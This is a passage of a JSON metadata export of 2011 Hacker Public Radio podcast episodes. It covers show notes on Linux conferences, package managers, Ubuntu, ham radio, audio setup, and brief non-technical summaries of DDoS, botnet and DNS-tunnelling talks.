    OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who work on things that matter, guarantees a day of thoughtful talks leading to conversations with friends.

    \n\n

    Some highlights of previous Opentech Conferences

    \n

    \n\n

    Your Hosts:

    \n\n\n

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Additional audio by Victoria Pritchard

    \n\n

    Runtime: 19mins 50seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Full Circle Podcast","version":0,"downloads":2342,"valid":1}, {"id":730,"date":"2011-05-19","title":"LFNW: Some Facts and 2 Interviews","duration":1965,"summary":"Facts about LFNW, and an interview with some of the organizers.","notes":"

    LinuxFest Northwest Bellingham Facts from Carl Symons:

    \n
      \n
    • about 1000 visitors, 738 registered, 350 meals sold on Saturday
    • \n
    • 12th year, started in 2000 in a room of 8x8 meters (25x25 feet)
    • \n
    • No president, jsut a team of organizers who meet twice a month
    • \n
    • Non-profit since 4 years
    • \n
    • 2 days since 4 years (before it was 1 day)
    • \n
    • Party on Saturday since 2 years
    • \n
    • https://linuxfestnorthwest.org/
    • \n
    \n

    Interview with Bill Wright about the LinuxFest

    \n

    Interview with Sabrina Roach from Brown Paper Tickets about 2 interesting radio projects: https://www.prometheusradio.org/ and https://knightmozilla.org

    \n

    Let me know if you're going to have a table for Hacker Public Radio at a Linuxfest or any other fest, I will send you our PR-Stuff: Tablecloth, Stickers, instructions to order minicards, QR-code books, and T-Shirt sets.

    \n

    Here are some images of the table at LFNW:

    ","hostid":162,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"lfnw,conference","version":0,"downloads":2325,"valid":1}, {"id":731,"date":"2011-05-22","title":"Klaatu the ubiquity and potential danger of the rm command","duration":1169,"summary":"Klaatu explains a creative, more forgiving alternative to the rm command","notes":"

    Klaatu discusses the imbalance between the ubiquity and potential danger of the rm command. He proposes the alternative command, trash.

    \n\n

    Get this episode in ogg vorbis.

    \n\n

    Git the trash shell script from gitorious.org/trashy

    ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"bash,cli,command line,script","version":0,"downloads":2340,"valid":1}, {"id":732,"date":"2011-05-23","title":"sikilpaake and badbit - spics on tech - episode 02","duration":2369,"summary":"spics on tech discuss a local hackerspace, Ubuntu's move to Unity, and more.","notes":"

    sikilpaake & badbit - spics on tech - episode 02

    \n
      \n
    • ensenada hackerspace (norte lab)
    • \n
    • taller de electrónica para artistas
      \n miguel monroy
      \n https://miguelmonroy.com.mx/work/
    • \n
    • hackerspaces.org
    • \n
    • the hacker ethic
      \n https://en.wikipedia.org/wiki/the_hacker_ethic
    • \n
    • nortec
      \n https://en.wikipedia.org/wiki/nortec
    • \n
    \n

    hacker meetings, workshops & spaces

    \n
    • 2600
      \n https://www.2600.com/
      \n
    • shdh
      \n https://shdhmid.pbworks.com/w/page/39648441/shdh-mid-05
      \n
    • tequila valley
      \n https://www.tequilavalley.com/
      \n
    • protolab
      \n https://protolab.ws/site/
      \n
    • sdhacklab
      \nhttps://bang.calit2.net/sdhacklab/
    \n

    kindle unexploited features and jailbreaking
    \n screensavers, fonts, usb networking
    \n microphone

    \n

    game boy flash cartridge, lsdj, chiptunes
    \n https://www.littlesounddj.com/lsd/
    \n https://blog.gg8.se/images/camvliez/gmb-0001.gif
    \n minimalist composers
    \n brian eno
    \n stockhauses
    \n philip glass

    \n

    ubuntu 11.04

    \n
    • upgrading
      \n
    • unity sucks
      \n https://is.gd/fgshwa
      \n
    • shuttleworth boxing the project in, à la steve jobs
      \n https://is.gd/r8jydh
      \n
    • what was so bad with gnome3?
      \n https://is.gd/xiadoh
      \n
    • wayland
      \n https://is.gd/w5pvgv
      \n an improvement but just too young
      \n probably lacks a lot of historical functions that most people in ubuntu haven't realized it needs
      \n on openbsd & freebsd will have to wait for eventual kernel mode setting
      \n https://is.gd/xtaghe support
    \n

    al quaeda security measures

    \n

    contact
    \n sikilapakee
    \n https://en.wikipedia.org/wiki/M%C3%A9rida,_Yucat%C3%A1n
    \n info@carlosduarte.info
    \n https://twitter.com/#!/tulakalbeyo
    \n https://vallabien.carlosduarte.info/

    \n

    badbit
    \n https://en.wikipedia.org/wiki/mexicali
    \n badbit@gmail.com
    \n https://twitter.com/#!/b4db1t
    \n https://badbit.blogspot.com/

    \n

    music!
    \n hermanos calderón - el camian https://www.youtube.com/watch?v=_uy3wchqmze
    \n little-scale - demons that devour human flesh https://www.lazerscale2010.com/track.php?id=55
    \n sonido lasser drakar - visions https://www.youtube.com/watch?v=8kjdCJgFM1I

    ","hostid":168,"series":58,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,ubuntu,unity,hackerspace","version":0,"downloads":2134,"valid":1}, {"id":733,"date":"2011-05-24","title":"Linux Packaging Systems (too many)","duration":1051,"summary":"Why marcoz thinks there are too many packaging systems for Linux, and how that's harmful","notes":"

    Packaging systems:
    \n rpm, rpm5, deb/dpkg, ebuild, compressed files (archlinux), pisi, .tgz (tar.gz file) slackware/vector linux, .tlz (Vector Linux)

    \n

    Package managers:
    \n Program\t\tDistro(s)\twebsite\t\tnotes
    \n apt \t\tdebian
    \n conary\t\tForesight Liux/rPath company \thandles distributed repositories, commit/rollback
    \n entropy\t\tSabayon\t\t\t\tconsists of Equo client (textual), Sulfur client (graphical)
    \n kpackagekit\tkubuntu\t\t\t\tuses policykit (any problems if booted computer from a live cd and mounted and chroot'd?)
    \n opkg\t\topenmoko\t\t\tlightweight; based on ipkg
    \n pacman\t\tarchlinux
    \n pirut\t\tfedora\t\t\t\tit calls yum so it's just a gui wrapper? not sure how widely used...?
    \n pisi\t\tpardus (Turkish distro)\t\twas based on gentoo. as far as I can tell it now uses its own pkg format
    \n poldek\t\tFedora\t\t\t\tRPM
    \n portage\t\tgentoo\t\t\t\tebuilds,
    \n slapt\t\tslackware\t\t\ttgz
    \n slapt\t\tvectorlinux\t\t\ttlz;
    \n smart\t\tUnityLinux\t\t\tRPM5
    \n synaptic\tubuntu\t\t\t\tDEB; graphical frontend to apt
    \n urpmi\t\tmandriva\t\t\tRPM
    \n yum\t\tredhat/fedora\t\t\tRPM
    \n zypper\t\topensuse\t\t\tRPM

    \n

    Other useful links:
    \n https://en.wikipedia.org/wiki/List_of_software_package_management_systems
    \n https://www.packagekit.org/pk-matrix.html

    \n

    apt - https://wiki.debian.org/Apt
    \n conary - https://wiki.rpath.com/wiki/Conary
    \n entropy - https://wiki.sabayon.org/index.php?title=En:Entropy
    \n kpackagekit - https://en.wikipedia.org/wiki/KPackageKit, https://www.packagekit.org
    \n opkg - https://code.google.com/p/opkg/
    \n pacman - https://www.archlinux.org/pacman/
    \n pirut - https://fedoraproject.org/wiki/F8_User_Guide_-_Managing_Software_with_Pirut
    \n pisi - https://en.pardus-wiki.org/Making_Pisi_Packages
    \n poldek - https://poldek.pld-linux.org/
    \n portage - https://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&chap=1
    \n slapt - https://vectorlinux.osuosl.org/docs/vl58/manuals/vl5_slaptget_en.html
    \n smart - https://niemeyer.net/smart
    \n synaptic - https://www.nongnu.org/synaptic/
    \n urpmi - https://wiki.mandriva.com/en/Tools/urpmi
    \n yum - https://yum.baseurl.org/
    \n zypper - https://en.opensuse.org/Portal:Zypper
    \n

    \n

    Concerns:
    \n 1) package burn out - will it get to the point where only either large distros or commercial distros have large repos due to the effort involved?
    \n 2) I've lost track of the number of times i've heard from people 'our distro doesn't have enough manpower to package ...'
    \n wouldn't it be helpful to not have to use our limited manpower in building redundant packages?
    \n 3) in 10 (or less) years when non-technical people take over at Redhat/Ubuntu/other large distro, will they use the package system as a club to beat the other distros with? I'm not sure how, but where money is involved, you can feel assured it _will_ happen.
    \n 4) current state of packaging systems in linux is like sound systems were 10 yrs ago.
    \n remember esd vs arts vs vs ...? each desktop environment had its own system. sound in linux was painful and a complete joke. it still has a ways to go but it's _SO_ much better now that it was. does anyone want to go back to that?
    \n pulseaudio isn't perfect but it's so much better than what we had before. and it's ONE system!
    \n can you image if printing and authentication were like the packaging systems? image if everyone had their own printing system instead of CUPs? imagine if there was no pam.d?
    \n 5) I believe packaging systems are NOT about choice. the exact opposite. it's about vendor lockin and NIH.
    \n (we'll do it OUR way because we can do it better or the 'proper' way. "so-and-so does blah, which is
    \n completely stupid")
    \n choice is being able to write a script in php,perl,python,bash,csh,... on the SAME system.
    \n that's choice
    \n because I can CHOOSE. If I have a debian box I can't choose to use RPM or ebuilds, same for those other systems.
    \n of the systems I've used: deb, rpm, rpm5, portage, (and tarballs if you count linuxfromscratch)
    \n and the managers I've used: yum, urpmi, smart, kpackagekit, synaptic, apt-get, emerge
    \n each system has little features the others don't. but there is nothing that one system has that couldn't be added to the others.

    ","hostid":156,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,packaging,package manager","version":0,"downloads":2433,"valid":1}, {"id":734,"date":"2011-05-25","title":"The Language Frontier Episode 4.5","duration":593,"summary":"Syndicated Thursday Presents: The Language Frontier Episode 4.5","notes":"

    Please note that this series originally aired some time ago.

    \n

    Skirlet takes some listener feedback about her miniseries, The Language Frontier.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    \n","hostid":88,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,obscurity","version":0,"downloads":2158,"valid":1}, {"id":735,"date":"2011-05-26","title":"Interview with Dave Yates about SELF 2011","duration":2483,"summary":"Ken Fallon explores the schedule of the 2011 Southeast Linux Fest with Dave Yates","notes":"

    \nIn todays episode Ken interviews Dave Yates of the Southeast LinuxFest.

    \n\n

    The Southeast LinuxFest is a community event for anyone who wants to learn more about Linux and Free & Open Source software. It is part educational conference, and part social gathering. Like Linux itself, it is shared with attendees of all skill levels to communicate tips and ideas, and to benefit all who use Linux/Free and Open Source Software. LinuxFest is the place to learn, to make new friends, to network with new business partners, and most importantly, to have fun!

    \n

    The third annual Southeast LinuxFest is scheduled for June 10-12, 2011 in Spartanburg, SC.

    \n

    Find us on Facebook, Twitter and Identi.ca

    ","hostid":30,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"SELF 2011, interview","version":0,"downloads":2358,"valid":1}, {"id":736,"date":"2011-05-29","title":"Stop the Ubuntu 11.04 whining","duration":376,"summary":"JWP is dismayed at the criticism that the Ubuntu project is receiving regarding its 11.04 release","notes":"

    \nIn this episode JWP discusses the negativity surrounding the Unity desktop.\n

    ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,ubuntu","version":0,"downloads":2390,"valid":1}, {"id":737,"date":"2011-05-30","title":"My Start in Computing and Linux","duration":463,"summary":"ArigornStrider's journey to Linux, starting at age eight!","notes":"

    \nThis is how I got started building custom computers and began using linux. It was a slow process for me dipping my feet deeper and deeper until I found a daily usefullness for both and have not turned back since.

    ","hostid":172,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"hardware,linux,distrohopping","version":0,"downloads":2264,"valid":1}, {"id":738,"date":"2011-05-31","title":"Short History of Ham Radio and How I got Involved","duration":1494,"summary":"A brief history of Ham radio development and Joel's personal connection to it","notes":"

    \nShow Notes for More Information\n

    \n

    \nThis show is a short history of the beginning of Ham Radio and how I got involved.\n

    \n

    \nhttps://www.qsl.net/ab0cw/sparktx.htm\nhttps://www.arrl.org\n

    ","hostid":173,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"ham radio\"","version":0,"downloads":2219,"valid":1}, {"id":739,"date":"2011-06-01","title":"The Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.","duration":4389,"summary":"A visit to the Knightcast podcast","notes":"

    \nThis show was aired on \"Saturday, 07 May 2011 06:23\"
    \nThe Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.\n

    \n

    \nIn this deep-geeky episode we unlock the secret of automatic podcast downloading and distribution to android and IOS Devices without using itunes or a cable. We mash together Ubuntu, Gpodder, a bash script a couple of SSH Connections and an Ipad app to unlock the secrets of wirelessly pushing content to your IOS Devices. As a bonus we take a glance at calibre and show you how to have your favorite rss feeds available to read offline. \n

    ","hostid":111,"series":54,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,android,gPodder,Ubuntu,IOS,Calibre","version":0,"downloads":2265,"valid":1}, {"id":740,"date":"2011-06-02","title":"DDoS : What is it and how to protect yourself","duration":990,"summary":"Distributed Denial of Service attacks","notes":"

    \nIn today's HPR, I will talk about DDoS attacks and ways to protect yourself and what actions you have in recourse.\n

    \n

    \nIf you have questions, please email me at josh@darksideofperfection.com, or message me on binrev's IRC.\n

    ","hostid":174,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"DDoS,\"Distributed Denial of Service\",botnet,LOIC,\"Low Orbit Ion Cannon\"","version":0,"downloads":2407,"valid":1}, {"id":741,"date":"2011-06-05","title":"HPR Community News for May 2011","duration":2460,"summary":"HPR Community News for May 2011","notes":"

    Mumble Server

    \n\n

    \nGeneralSettings
    \nServer Name: This is your choice
    \nAddress: ch1.teamspeak.cc
    \nPort: 64747
    \nUsername: This is your choice
    \nhttps://wiki.linuxbasix.com/tiki-index.php?page=Linux+Basix+Mumble\n

    \n

    New hosts

    \n

    \nWelcome to our new hosts: Slurry, \nDismal Science & Sunzofman1, \nBrotherred, \nArigornStrider, \nJoel, and\nJosh Knapp.\n

    \n\n

    Show Review

    \n\n
      \n
    • 716 :: HPR Admins :: Behind the Scenes at HPR. A community update for the month 2011-04
    • \n
    • 717 :: Slurry :: My Switch from Windows to Linux
    • \n
    • 718 :: Brotherred :: How I got into Linux
    • \n
    • 719 :: Skirlet :: The Language Frontier Episode 4
    • \n
    • 720 :: klaatu :: CLI Magic
    • \n
    • 721 :: lostnbronx :: THEATER OF THE IMAGINATION -- PART 03
    • \n
    • 722 :: Claudio Miranda :: How I Upgraded My PC - Motherboard
    • \n
    • 723 :: klaatu :: How to be a safe computerist
    • \n
    • 724 :: Robin Catling :: Full Circle Podcast: Ubuntu Manual Project
    • \n
    • 725 :: pokey :: NELF_Review
    • \n
    • 726 :: MrGadgets :: Journey to Linux
    • \n
    • 727 :: klaatu :: HOWTO root and mod an Andr0id phone.
    • \n
    • 728 :: Dismal Science & Sunzofman1 :: Sex, Race and Open Source
    • \n
    • 729 :: Robin Catling :: Syndicated Thursday: FSP Sam smith, Opentech Conference 2011
    • \n
    • 730 :: code.cruncher :: LFNW: Some Facts and 2 Interviews
    • \n
    • 731 :: klaatu :: Klaatu the ubiquity and potential danger of the rm command
    • \n
    • 732 :: sikilpaake & badbit :: sikilpaake and badbit - spics on tech - episode 02
    • \n
    • 733 :: marcoz :: Linux Packaging Systems (too many)
    • \n
    • 734 :: Skirlet :: The Language Frontier Episode 4.5
    • \n
    • 735 :: Ken Fallon :: Interview with Dave Yates about SELF 2011
    • \n
    • 736 :: JWP :: Stop the Ubuntu 11.04 whining
    • \n
    • 737 :: ArigornStrider :: My Start in Computing and Linux
    • \n
    • 738 :: Joel :: Short History of Ham Radio and How I got Involved
    • \n
    • 739 :: Knightwise :: The Knightcast KC0053 : Wirelessly syncing content to your Ipad and Ipod.
    • \n
    • 740 :: Josh Knapp :: DDoS : What is it and how to protect yourself
    • \n
    \n

    Apologies To

    \n
      \n
    • Droops for not been there
    • \n
    • stankdawg not dwag
    • \n
    \n

    \n

    Month in Review

    \n

    \nThis was a busy and bumpy month as I recall it ... Ken went on holidays and the server felt abandoned and went on strike and then it pretended that there is no more space in the queue and once there was more space we almost ran out of shows and we are still looking for people to do HPR-PR at SELF, for which they will get 2 fantastic HPR T-Shirts. Ken? did you also move the server this month?\n\nHPR Outro\n

      \n
    • Klaatu proposal to mention binrev in the outro.\n
      \nHacker Public Radio is brought to you by the BinRev Radio, \nthe Infonomicon Computer Club and our Sponsor ${SPONSOR}.\n${SPONSOR} is ${Marketing speak}\nHPR is a Community podcast network that releases shows every \nweekday Monday through Friday.\nAll the shows are made by the community  fellow listeners \nlike you!.\nFor more information on how you can contribute a show please \ngo to hackerpublicradio dot org and click on the contribute \nbutton\nThere is no restrictions on how long the show can be, nor \non the topic you can cover as long as they are of interest \nto hackers.\n

      \n
    • Updated the Syndication page to include OGG, SPX and Comments Feeds.\n
    • People had problems getting on the Mailing list\n
    • Ira put a drupal website together imahuph.net/hpradmin1\n
    • Code Cruncher is working on automation\n
        \n
      • Show prep script\n
      • upload form\n
      • security issues?\n
      \n
    • The books for the business card competition have been sent or have they ?\n
    • Added a md5 script to the site.\n
    • lostnbronx ran a spell check on the \"Contribute\" page\n
    • We ran out of shows - you replied.\n
    • Curbuntu is going to a lug meeting and wanted a history of HPR. We want droops on for an interview.\n
    • Ken is going to OggCamp11 - ordered business cards.\n
    • Fifty OneFifty found the Ultimate interview device\n
    • Cobra 2 \n
        \n
      • create a torrent tracker for podcast/oggcast/videocast\n
      • Advanced Android hacking series\n
      • HPR Guidelines for fests.\n
      • Wiki\n
      \n
    • Trend micro unblocked us\n
    • Zibby Keaton says that James Turnbull published his latest book \"Pro Puppet\" through Apress Media \n
    \n\n\n

    RFC Changing show to CC-BY-SA

    \n
    \nHi All,\n\nThis is an official request for a change of license that *NEW* shows\nare uploaded as.\n\nThe proposal is to change from:\nhttps://creativecommons.org/licenses/by-nc-sa/3.0/\n\nTo https://creativecommons.org/licenses/by-sa/3.0/\n\nThe RFC will be open for a month and the results will be announced\nhere and on July's HPR Community News. If approved all shows after\nthat time will be by default CC-BY-SA unless indicated in the show\nnotes. Further, I would then contact everyone that has hosted so far\nasking if we can relisence their show(s) as CC-BY-SA.\n\nThis is entirely up to the community so please use the mail list you\nvoice your opinion. Even a one liner is fine.\n\nKen.\n
    ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-NC-SA","tags":"Community News","version":0,"downloads":2218,"valid":1}, {"id":742,"date":"2011-06-06","title":"How I Got Into Linux","duration":469,"summary":"Ken Fallon interviews Dave over Mumble about his use of Linux","notes":"This is an ad hoc interview with Dave, recorded on the teamspeak.cc server prior to yesterdays interview.","hostid":175,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Interview,\"PC repair\",\"Linux Mint\",Mumble","version":0,"downloads":2416,"valid":1}, {"id":743,"date":"2011-06-07","title":"ILF 2011: Interview with Jason Kridner of BeagleBoard","duration":701,"summary":"KFive interviews Jason Kridner of BeagleBoard at ILF 2011","notes":"

    In this episode KFive interviews Jason Kridner of BeagleBoard.

    \n

    https://beagleboard.org/about

    \n

    About BeagleBoard.org

    \n

    BeagleBoard.org is an all volunteer activity started-up by a collection of passionate individuals, including several employees of Texas Instruments, interested in creating powerful, open, and embedded devices. We invite you to participate and become part of BeagleBoard.org, defining its direction.

    \n

    Support for the Beagle Board comes from the very active development community through this website, the mailing list, and the IRC channel. Distribution is handled by Digi-Key, a major international distributor.

    \n

    The Beagle Board is a low-cost, fan-less single-board computer based on low-power Texas Instruments processors featuring the ARM Cortex-A8 core with all of the expandability of today's desktop machines, but without the bulk, expense, or noise.

    \n","hostid":127,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"BeagleBoard,ARM Cortex-A8,Indiana LinuxFest,ILF","version":0,"downloads":2568,"valid":1}, {"id":744,"date":"2011-06-08","title":"The Language Frontier Episode 5","duration":1338,"summary":"Skirlet's penultimate show in the series","notes":"

    The penultimate episode of The Language Frontier. Skirlet talks about the world's newfound ability to communicate with one another via \"the digital revolution\".

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    ","hostid":88,"series":48,"explicit":1,"license":"CC-BY-NC-SA","tags":"language,\"movie subtitle\",Esperanto","version":0,"downloads":2273,"valid":1}, {"id":745,"date":"2011-06-09","title":"Wingz","duration":1006,"summary":"MrGadgets speaks of lessons learned with a product called Wingz","notes":"

    \nCompany: Innovative Software (Primary: software suite smart software)
    \nProduct: Wingz a spreadsheet software
    \nFirst for the Mac, stupidest possible product, because there already was Excel
    \nThey hired Leonard Nimoy for the ad video, because Wingz was all about the future
    \nThey had a Wingz bag in different colors , which was awarded laptop accessory of the year one year by Jerry Pournelle (scifi writer) in the Chaos Manor column he wrote for BYTE Magazine.
    \nAfter two years the Wingz Software came out, also for Os2 and Windows and was very successful, up to 15% of the Mac market
    \nA special feature was that it could connect to databases
    \n

    \n

    \nand the lesson learned ... (not to be spoiled here, listen to the podcast)\n

    ","hostid":155,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"COMDEX,\"Innovative Software\",Wingz,spreadsheet,Informix","version":0,"downloads":2386,"valid":1}, {"id":746,"date":"2011-06-13","title":"Interview with Tony Whitmore about OggCamp11","duration":1189,"summary":"Ken Fallon interviews Tony Whitmore of the Ubuntu-UK Podcast about OggCamp11","notes":"

    \nIn todays episode Ken interviews Tony Whitmore of the Ubuntu-UK Podcastabout OggCamp11.

    \n

    OggCamp 11 is a two-day technology festival\nbringing together the most interesting people from the Linux, Open\nSource and Hardware Hacking communities to share their passion and\nknowledge on all things geeky in a barcamp-style atmosphere.

    \n

    Taking place AUGUST 13 & 14, FARNHAM MALTINGS, UK

    \n

    \nOggCamp 11 is a two-day unconference where technology enthusiasts come\ntogether to exchange knowledge on a wide range of topics from Linux\nand open source software to building home automation systems. Now in\nits third year, the event is steadily growing and attracting\ninteresting speakers from all over the UK, the rest of Europe and even\nthe US. Since OggCamp is an unconference, speaking schedules are set\non the first day and everyone is free to propose a talk themselves.\nYou are of course free to come along and just listen to other people's\ntalks but we strongly encourage everyone to take part and talk on\nsomething they are passionate about in technology. OggCamp was first\norganised by the combined forces of the Linux Outlaws and the Ubuntu UK Podcast as a filler\nevent after the last\nLugRadio Live was decided to be a one-day only event.\n

    \n

    \nFor the latest news, follow OggCamp 11 on the\nmicroblogging service of your choice: identi.ca / Twitter\n

    \n

    \nIf you are interested in joining the OggCamp crew or sponsoring the\nevent then please email oggcamp at ubuntu dash uk dot org.\n

    ","hostid":30,"series":62,"explicit":1,"license":"CC-BY-NC-SA","tags":"oggcamp,oggcamp11","version":0,"downloads":2211,"valid":1}, {"id":747,"date":"2011-06-13","title":"Botnets and DNS Tunnelling","duration":3000,"summary":"A discussion between two HPR hosts, one in Dundee and the other in Vancouver","notes":"

    HPR podcasting: \"It's just as easy as getting two geeks onto skype!\"

    \n\n

    Finux Tech Weekly podcast: https://www.finux.co.uk/

    \n\n

    BOTNETS
    \n53% increase in command and control servers in Canada

    \n\n

    This number was published by Websense. They decided to invest the situation after seeing an increase in targeted attacks against the Canadian government.

    \n\n

    Interesting Statistics!
    \nhttps://community.websense.com/blogs/websense-news-releases/archive/2011/05/19/new-research-shows-cyber-criminals-moving-operations-to-canada.aspx

    \n\n

    Patrick Runald's story that gets summarized, reblogged, quoted, misrepresented all over the place:
    \nhttps://community.websense.com/blogs/websense-insights/archive/2011/05/09/the-next-hotbed-of-cyber-crime-activity-is-canada.aspx?cmpid=prnr11.5.11

    \n\n

    Book:
    \nThe Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage
    \nby Cliff Stoll

    \n\n

    Bruce Schneier's blog: https://www.schneier.com/

    \n\n

    Tunnelling over DNS inquires
    \nFinux gave a number of talks (most recently at BSides London) about how you can use DNS tunnelling to bypass some of the usual protocols to access online systems that would not let you access them without being subscribed.

    \n\n

    Here are the slides:
    \nhttps://www.slideshare.net/bsideslondon/dns-tunnelling-its-all-in-the-name
    \nwith lots of links on slides 27-29, including NSTX and OzimanDNS

    \n","hostid":176,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Botnet,\"DNS Tunneling\"","version":0,"downloads":2327,"valid":1}, {"id":748,"date":"2011-06-14","title":"My Favorite Audiocasts","duration":1533,"summary":"Today I share with you my list of favorite audiocasts w/ratings and reviews","notes":"

    Today I share with you my list of favorite audiocasts w/ratings and reviews. Contact me @ dismal.science.hpr AT gmail DOT com

    ","hostid":141,"series":75,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,audiocast","version":0,"downloads":2473,"valid":1}, {"id":749,"date":"2011-06-15","title":"Full Circle Podcast: Editing the Podcast, Part One - Preparation","duration":281,"summary":"The process of preparing the Full Circle Podcast: preparation","notes":"

    The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\nFind us at https://www.fullcirclemagazine.org/podcast.

    \n

    Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org

    \n\n

    Your Host:

    \n\n

    Some time ago we received a listener request to talk about how we record and edit the Full Circle Podcast. So here it is, in several parts. Part One is all about the preparation.

    \n

    Runtime: 4mins 46seconds

    ","hostid":160,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Full Circle Podcast","version":0,"downloads":2194,"valid":1}, {"id":750,"date":"2011-06-16","title":"My path to Linux","duration":532,"summary":"In his first episode NewAgeTechnoHippie describes his Linux journey","notes":"

    \n

      \n
    • 1995 Redhat Linux 2
    • \n
    • 2003 Redhat Linux 9. Full time Linux Usage Starts
    • \n
    • 2004 Fedora Usage starts and feeling a bit unhappy with my Distribution
    • \n
    • Slackware Gentoo Suse Mandrake/Mandrivia Debian Ubuntu
    • \n
    • 2008 Switch to Arch Linux and Can't Be happier
    • \n
    • 2010 Started using Maemo on my N900
    • \n
    \n

    \n

    \nContact NewAgeTechnoHippie at gmail for question or comments\n

    \n","hostid":177,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Redhat Linux\",LILO,Fedora,\"Arch Linux\",Maemo,\"Nokia N900\"","version":0,"downloads":2430,"valid":1}, {"id":751,"date":"2011-06-19","title":"Binary Evolutions","duration":1546,"summary":"A submission to HPR by Lord Drachenblut and Downer","notes":"

    \nSome links to go along with the show.\n

    \n\n\n","hostid":178,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Anonymous,LulzSec,Cloudflare","version":0,"downloads":2470,"valid":1}, {"id":752,"date":"2011-06-20","title":"My Path to Linux: Knoppix","duration":747,"summary":"Another part of Mr Gadgets' journey to his daily use of Linux","notes":"

    We rejoin MrGadgets path to Linux stopping off at the Knoppix station

    \n\n

    Other shows in this group are:

    \n
      \n
    1. 2011-04-04, MrGadgets Path toward Linux
    2. \n
    3. 2011-05-15, Journey to Linux
    4. \n
    5. 2011-06-20, My Path to Linux: Knoppix
    6. \n
    7. 2011-07-10, MrGadgets finds Linux
    8. \n
    \n\n","hostid":155,"series":29,"explicit":1,"license":"CC-BY-NC-SA","tags":"Knoppix,\"live CD\",microdrive,\"compact flash\"","version":0,"downloads":2366,"valid":1}, {"id":753,"date":"2011-06-21","title":"ILF 2011: Interview with Klaatu of Slackermedia","duration":1128,"summary":"KFive interviews klaatu of Slackermedia","notes":"

    In this episode KFive does unto klaatu as he has done unto others.

    \n

    \nhttps://www.slackermedia.info/
    \n

    \n

    What is Slackermedia?

    \n

    Slackermedia is documentation providing the information a user will need to create a full multimedia studio from a Slackware base install. Inspired by Linux-From-Scratch, it is intended to be a \"distro from text\"; a do-it-yourself Linux studio beginning with installing Slackware and ending with what we will call \"Slackermedia\" with all the custom-compiled and configuration of only the best in multimedia content creation tools that Linux offers and the user requires to achieve their artistic goals.

    \n \n

    Slackermedia is not a distribution, and merely builds upon Slackware proper. Slackermedia is not a laundry list of multimedia apps that are half-finished, it is not a blueprint for how to make your distribution contain lots of multimedia apps you'll never use, it is not a series of brainless install scripts. It is a series of tutorials on what a user will need to understand, and how they can go about installing or compiling or configuring important tools like jackd, software synths, soundfonts, gimp brushes, fonts, individual apps, backends like ffmpeg and mencoder, and much more.

    \n \n

    NOTE: Slackermedia is currently optimized for Slackware 13.1. A 13.37 version with the 2.6.38.4 kernel is in progress.

    ","hostid":127,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Indiana LinuxFest\",ILF,Slackware,\"multimedia studio\"","version":0,"downloads":2341,"valid":1}, {"id":754,"date":"2011-06-22","title":"The Language Frontier Episode 6","duration":1477,"summary":"The last episode in the series","notes":"

    \nIn this last episode of the language frontier on syndicated Thursday and was recorded some time ago.\n

    \n

    The final episode of The Language Frontier tackles the question of a universal language.

    \n

    Listen to this episode in ogg vorbis via aesdiopod.

    ","hostid":88,"series":48,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"Noam Chomsky\",Esperanto","version":0,"downloads":2402,"valid":1}, {"id":755,"date":"2011-06-23","title":"LINUX JAZZ BALLIN' THE JACK","duration":807,"summary":"Bariman talks about changes to his Linux audio setup","notes":"

    \nThe Jack Audio Driver . . .
    \nFor serious audio it is essential that the Linux kernel operates in real-time mode.
    \nSwitch on through the 'Set-up' tab, under 'Parameters, from the QJackCtrl.
    \nSet the sample rate, say 44,100 for maximum compatibility.
    \nSet the buffer size ('Frames/Rate'), say 256 which (for me) produces an 11.6 ms latency.
    \nAdd two lines of code to the file 'limits.conf' in the '/etc/security/' folder (before the '# End File' marker), as follows
    \n@audio - rtprio 99 and
    \n@audio - memlock unlimited
    \nCheck you are part of the 'Audio' Group.
    \nOr use your 'username' instead of '@audio' (in my case 'tonydenton').
    \n

    \n

    \nUpdating My Hardware . . .
    \nI've invested in an audio mixer - a Behringer Xenyx X1204USB Mixer.
    \n(https://www.behringer.com/EN/Products/1204FX.aspx)
    \n

    \n

    \nRe-considering My Software Bag . . .
    \nThe Podcast is now being recorded in 'Ardour'
    \n(I shall to subscribe to 'Ardour' to keep Paul Davis developing the programme and urge others to do so.)
    \nI am using 'Audacity' for mastering, with, klaatu's configuration file.
    \nAnother useful programme for setting or editing ID3 Tags is 'Kid3Tag'
